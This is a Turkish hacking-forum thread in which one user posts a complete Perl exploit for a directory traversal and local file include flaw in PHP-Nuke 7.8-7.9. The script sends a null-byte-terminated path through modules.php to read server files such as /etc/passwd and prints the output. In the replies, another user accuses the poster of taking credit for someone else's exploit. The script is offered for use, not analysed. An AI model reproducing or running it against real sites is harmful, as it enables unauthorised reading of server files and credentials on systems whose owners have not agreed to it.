php nuke 7.8 exploit

[deltanyum]

not : Exploit perl dilinde yazılmıştır.Hedef sitenin etc/passwd vsvs

#!/usr/bin/perl
use IO::Socket;

# hackhell Exploit Code
# by deltanyum
# [email protected]
# www.hackhell.com
# Remote Directory Traversal Exploit - Local file include
# PHPNuke -> 7.8 full patched , 7.9 fullpatched + patch 3.1
# Server must have magic_quotes_gpc = Off - need to use %00
# Copyright © hackhell. All Rights Reserved.
#
# Example of usage : perl phpnuke-expl.pl 172.24.2.1 nukedir Search ../../../etc/passwd

if (@ARGV < 3)
{
print "\r\n";
print "Hackhell - www.hackhell.com\r\n";
print "[sp3x] EXPLOIT for PHPNuke 7.8 - 7.9\r\n";
print " \r\n";
print "perl phpnuke-expl.pl [Host] [nuke_dir] [file]\r\n\r\n";
print "[Host] - Host where is phpnuke example: http://localhost\r\n";
print "[nuke_dir] - Directory of PHPNuke example: /phpnuke/html/\r\n";
print "[module] - Module of PHPNuke example: News\r\n";
print "[file] - file to show - example : ../../../../../etc/passwd\r\n\r\n";
print "Example of usage : perl phpnuke-expl.pl 172.24.2.1 nukedir module ../../../../../e
tc/passwd";
print "\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."modules.php";
$MODULE = "?name=".$ARGV[2]."&";
$FILE = "file=".$ARGV[3]."%00";
$LENGTH = length $FILE;

print "\r\n[Host] : ".$HOST."\n";
print "[Dir] : ".$DIR."\n";
print "[Module] : ".$ARGV[2]."\n";
print "[File] : ".$ARGV[3]."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80"

) || die "Error 404\r\n\r\n";

print $get1 "GET ".$DIR.$MODULE.$FILE." HTTP/1.0\n";
print $get1 "Host: ".$HOST."\n";

print $get1 "User-Agent: Mozilla/5.0 - hackhell";
print $get1 "Accept: text/__xml,application/__xml,application/xhtml+__xml,text/html; q=0 .9,text/
plain;q=0.8,image/png,*/*;q=0.5";
print $get1 "Accept-Language: pl,en-us;q=0.7,en;q=0.3";
print $get1 "Accept-Encoding: gzip,deflate";
print $get1 "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7";
print $get1 "Keep-Alive: 300";
print $get1 "cookie: lang=english";
print $get1 "Cache-Control: max-age=0";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";

print $get1 $FILE;

while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." doesn’t exists or something goes wrong.\r\n\r\n";

exit;
}

printf $odp;
}

 

[Partizan]

saoLasin.. guzeL bir exploit fakat

# hackhell Exploit Code
# by deltanyum
# [email protected]
# www.hackhell.com
# Remote Directory Traversal Exploit - Local file include
# PHPNuke -> 7.8 full patched , 7.9 fullpatched + patch 3.1
# Server must have magic_quotes_gpc = Off - need to use %00
# Copyright © hackhell. All Rights Reserved.


neden yapan ki$inin emegi iLe oynuyorsun onu anlamadim?

 

[deltanyum]

yapmayın hoca

hoca ne biliyim alıskanlık işte ingilizceden kimse bişliy anlamaz türk olsun dedim

 

[Partizan]

Ehuh neyse hadi kimse g0rmedi sayaLim

 

[deltanyum]

bak bu aramızda bir sır eheueeh